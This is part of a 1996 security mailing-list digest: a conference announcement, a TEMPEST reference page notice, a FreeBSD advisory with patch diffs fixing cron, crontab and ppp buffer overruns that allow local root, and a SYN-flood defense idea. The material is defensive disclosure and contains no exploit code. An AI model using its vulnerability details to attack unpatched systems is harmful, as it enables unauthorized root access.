Registration for FC97 Again, to register and pay for your ticket to FC97 see: For information the selection of papers for at FC97 see: If you're interested in Exhibit space, please contact Julie Rackliffe: If you're interested in sponsoring FC97, also contact Julie Rackliffe: If you're interested in the FC97 Workshop for Senior Managers and IS Professionals, see: That should be enough for now. Stay tuned for more information on FC97 as it develops. See you in Anguilla! The FC97 Organizing Committee: Vince Cate and Bob Hettinga, General Chairs Ray Hirschfeld, Conference Chair Ian Goldberg, Workshop Chair Julie Rackliffe, Conference, Exhibit, and Sponsorship Manager And our sponsors... The Journal for Internet Banking and Commerce Offshore Information Services e$ ----------------- Robert Hettinga (rah@shipwright.com) e$, 44 Farquhar Street, Boston, MA 02131 USA "The cost of anything is the foregone alternative" -- Walter Johnson The e$ Home Page: http://www.vmeng.com/rah/ ------------------------------ Date: Tue, 17 Dec 1996 11:29:28 -0800 From: Joel McNamara To: best-of-security@suburbia.net Subject: BoS: The Complete, Unofficial TEMPEST Information Page Message-Id: <3.0.32.19961217112923.00e9a284@mail.eskimo.com> Content-Type: text/plain; charset="us-ascii" Everything (well almost everything) you ever wanted to know about TEMPEST but were afraid to ask. Research papers, links to TEMPEST hardware manufacturers and consultants, military security manuals, monitoring devices, history, and more. http://www.eskimo.com/~joelm The page is devoted to presenting open-source information about TEMPEST and related topics. There is actually quite a large body of unclassified information available about this subject (much of it on the Net). My goal is to provide a useful reference for those interested in emanations security as it relates to intelligence, computer security, and privacy issues. Joel McNamara joelm@eskimo.com Disclaimer: I've never been involved with the TEMPEST community, had a security clearance for TEMPEST, or have access to classified material relating to TEMPEST. Like most good intelligence gathering, the information on the above-mentioned page is completely derived from publicly available, unclassified sources. ------------------------------ Date: Tue, 17 Dec 1996 21:07:39 +0100 (MET) From: FreeBSD Security Officer To: best-of-security@suburbia.net Subject: BoS: FreeBSD Security Advisory: FreeBSD-SA-96:20.stack-overflow Message-Id: <199612172007.VAA03986@gvr.win.tue.nl> -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-96:20 Security Advisory FreeBSD, Inc. Topic: unauthorized access via buffer overruns cron, crontab, ppp Category: core Module: cron, crontab, ppp Announced: 1996-12-16 Affects: 1.0, 1.1, 2.1.0, 2.1.5, 2.1.6, 2.1.6.1 Corrected: 2.2-current as of various dates (see below) 2.1-stable as of various dates (see below) FreeBSD only: yes Patches: ftp://freebsd.org/pub/CERT/patches/SA-96:20/ ============================================================================= I. Background Buffer overrun (aka stack overflow) exploits in system supplied and locally installed utilities are commonly used by individuals wishing to obtain unauthorized access to computer systems. The FreeBSD team has been reviewing and fixing the source code pool to eliminate potential exploits based on this technique. We've found several such exploits (and more have been reported by other sources) and strongly suggest that all operators of FreeBSD machines upgrade to the latest version of FreeBSD (2.1.6.1 at the time of this advisory) if there is a possibility for untrustworthy users to have standard user level access to the system. Most of these problems were fixed with the release of FreeBSD 2.1.6.1, however the following were not: In August of 1996, exploits were discovered in the cron and crontab utilities in FreeBSD. These were fixed in the -current source code pool in August of 1996, but due to a clerical error, were not repaired in the older -stable source code pool used to generate the FreeBSD 2.1.X distributions until 16-Dec-1996. Recently, yet another buffer overrun was discovered in the cron and crontab utilities in FreeBSD. The problem was corrected on 16-Dec-1996 in both -current and -stable. Also recently, a similar overrun has been discovered in the ppp utility. This was fixed in both -current and -stable source code pools on 16-Dec-1996. II. Problem Description The programs in question store user-supplied information in internal buffers. There is no range checking on length of the data copied into these buffers. A malicious user may be able to overflow these buffers through the use of command line options or via enviornment variables and insert and execute their own code fragment which could be used to obtain unauthorized access to the system III. Impact The programs in question may be subverted to allow an unprivileged user to gain root access to the system. These vulnerability can only be exploited by individuals with access to the local system. IV. Workaround Setuid programs invoked by the user may have their setuid permissions removed, or their protection attributes modified so unprivileged users may not operate them at all. This may reduce or eliminate some functionality provided by these programs to normal users. To remove setuid privileges: crontab: # chmod ug-s /usr/bin/crontab ppp: # chmod ug-s /usr/bin/ppp The cron program is started by the system on every boot. This auto-start may be temporarily disabled, and the running cron program stopped. However, cron is a valuable system utility, so we suggest this as a temporary workaround only. To stop cron from executing on system boot, edit the /etc/rc file and change the line: echo -n ' cron'; cron so it reads: # echo -n ' cron'; cron. To turn off a running cron, use the ps program to determine the PID of the currently running cron (use "ps") and type: # kill V. Solution The following patches fixes the vulnerabilities. It should apply cleanly to all FreeBSD 2.1.x systems. It has not been tested with FreeBSD 1.x. After applying these patches, recompile and re-install the affected utilities. *** usr.sbin/cron/cron/database.c 1994/08/27 13:43:03 1.1.1.1 --- usr.sbin/cron/cron/database.c 1996/09/10 03:38:20 1.3 *************** *** 112,119 **** if (dp->d_name[0] == '.') continue; ! (void) strcpy(fname, dp->d_name); ! sprintf(tabname, CRON_TAB(fname)); process_crontab(fname, fname, tabname, &statbuf, &new_db, old_db); --- 112,119 ---- if (dp->d_name[0] == '.') continue; ! (void)snprintf(fname, sizeof fname, "%s", dp->d_name); ! (void)snprintf(tabname, sizeof tabname, CRON_TAB(fname)); process_crontab(fname, fname, tabname, &statbuf, &new_db, old_db); *** usr.sbin/cron/crontab/crontab.c 1996/04/09 21:23:11 1.3.4.1 --- usr.sbin/cron/crontab/crontab.c 1996/08/05 00:50:02 1.6 *************** *** 167,173 **** ProgramName, optarg); exit(ERROR_EXIT); } ! (void) strcpy(User, optarg); break; case 'l': if (Option != opt_unknown) --- 165,171 ---- ProgramName, optarg); exit(ERROR_EXIT); } ! (void) snprintf(User, sizeof(user), "%s", optarg); break; case 'l': if (Option != opt_unknown) *************** *** 198,204 **** } else { if (argv[optind] != NULL) { Option = opt_replace; ! (void) strcpy (Filename, argv[optind]); } else { usage("file name must be specified for replace"); } --- 196,203 ---- } else { if (argv[optind] != NULL) { Option = opt_replace; ! (void) snprintf(Filename, sizeof(Filename), "%s", ! argv[optind]); } else { usage("file name must be specified for replace"); } *************** *** 480,486 **** ProgramName, Filename); goto done; default: ! fprintf(stderr, "%s: panic: bad switch() in replace_cmd()\n"); goto fatal; } remove: --- 479,486 ---- ProgramName, Filename); goto done; default: ! fprintf(stderr, "%s: panic: bad switch() in replace_cmd()\n", ! ProgramName); goto fatal; } remove: --- usr.sbin/cron/lib/env.c 1994/08/27 13:43:02 1.1.1.1 +++ usr.sbin/cron/lib/env.c 1996/12/16 18:11:57 @@ -115,7 +115,7 @@ { long filepos; int fileline; - char name[MAX_TEMPSTR], val[MAX_ENVSTR]; + char name[MAX_ENVSTR], val[MAX_ENVSTR]; int fields; filepos = ftell(f); --- usr.sbin/ppp/chat.c 1996/06/10 09:41:45 1.4.4.2 +++ usr.sbin/ppp/chat.c 1996/12/15 20:40:26 @@ -315,7 +315,7 @@ } cp--; } - sprintf(tmp, "%s %s", command, cp); + snprintf(tmp, sizeof tmp, "%s %s", command, cp); (void) MakeArgs(tmp, &vector); pipe(fids); --- usr.sbin/ppp/systems.c 1995/05/30 03:50:58 1.5 +++ usr.sbin/ppp/systems.c 1996/12/15 20:40:26 @@ -75,12 +75,12 @@ cp = getenv("HOME"); if (cp) { SetUserId(); - sprintf(line, "%s/.%s", cp, file); + snprintf(line, sizeof line, "%s/.%s", cp, file); fp = fopen(line, "r"); } if (fp == NULL) { SetPppId(); - sprintf(line, "%s/%s",_PATH_PPP, file); + snprintf(line, sizeof line, "%s/%s", _PATH_PPP, file); fp = fopen(line, "r"); } if (fp == NULL) { @@ -115,12 +115,12 @@ cp = getenv("HOME"); if (cp) { SetUserId(); - sprintf(line, "%s/.%s", cp, file); + snprintf(line, sizeof line, "%s/.%s", cp, file); fp = fopen(line, "r"); } if (fp == NULL) { SetPppId(); /* fix from pdp@ark.jr3uom.iijnet.or.jp */ - sprintf(line, "%s/%s",_PATH_PPP, file); + snprintf(line, sizeof line, "%s/%s", _PATH_PPP, file); fp = fopen(line, "r"); } if (fp == NULL) { ============================================================================= FreeBSD, Inc. Web Site: http://www.freebsd.org/ Confidential contacts: security-officer@freebsd.org PGP Key: ftp://freebsd.org/pub/CERT/public_key.asc Security notifications: security-notifications@freebsd.org Security public discussion: security@freebsd.org Notice: Any patches in this document may not apply cleanly due to modifications caused by digital signature or mailer software. Please reference the URL listed at the top of this document for original copies of all patches if necessary. ============================================================================= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMrb4FlUuHi5z0oilAQGCjQP/TcKygSf3CLwfJcPSnsQnc0k5fkF3QZvk Lp4K7FTua7M0AHHMn4gjpZEqB0+eqxMEGuZ+VXISSoESWyaOSz+hVLmLU2UZDLO0 WWZWw3MM3UeWAzLLXwRPTLN0tQlpQJyqPNH1okb4c/Lx9IugN1wcGfbiTnOF3NaC d8lhtqcQoi4= =zAKC -----END PGP SIGNATURE----- ------------------------------ Date: Wed, 18 Dec 1996 13:35:33 -0800 (PST) From: To: best-of-security@suburbia.net Subject: BoS: A defense against SYN attacks Message-Id: <199612182135.NAA25494@ca.sandia.gov> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit I just thought you folks might like to know about a defense instead of an attack now and then. Here it is: The typical SYN attack has the property that it either: 1) Comes from a small range of IP addresses OR 2) Generates source IP addresses via a pseudo-random number generator (PRNG). If (1) is the case, block them at the router. If (2) is the case: Adaptive Defensive IP Filter: Predict the next IP source address from the sequence of previous IP source addresses and block the next incoming SYN. When you detect a SYN attempt, update your SYN defense to block the next inbound source IP address and reallow the previous one. This works as long as the PRNG is predictable. And as it turns out, the PRNG on the published attack is predictable. Furthermore, to generate hard-to-predict sequences requires substantial amounts of CPU time - BUT the SYN attack must be fast in order to work. Thus this defense works unless the attacker has precomputer a hard-to-analyze sequence of PRNs. Codings for different IPfilters / Routers is left as an exercise for the reader. It took a few hours of effort to get it to work against the widely published attacks using a router's audit trails as input and updating the routing tables as output. In practce, it helps a lot to be able to predict the next 1,000 or so source IP addresses because getting and analyzing the audit trails and updating the router takes some time. FC --- All statements made and opinions expressed herein are solely those of the author. They almost certainly DO NOT reflect the views of: Sandia National Laboratories, The U.S. Department of Energy, OR Lockheed/Martin. Fred Cohen can be reached at tel:510-294-2087 fax:510-294-1225 -------------------------------- End of best-of-security-d Digest V96 Issue #32 **********************************************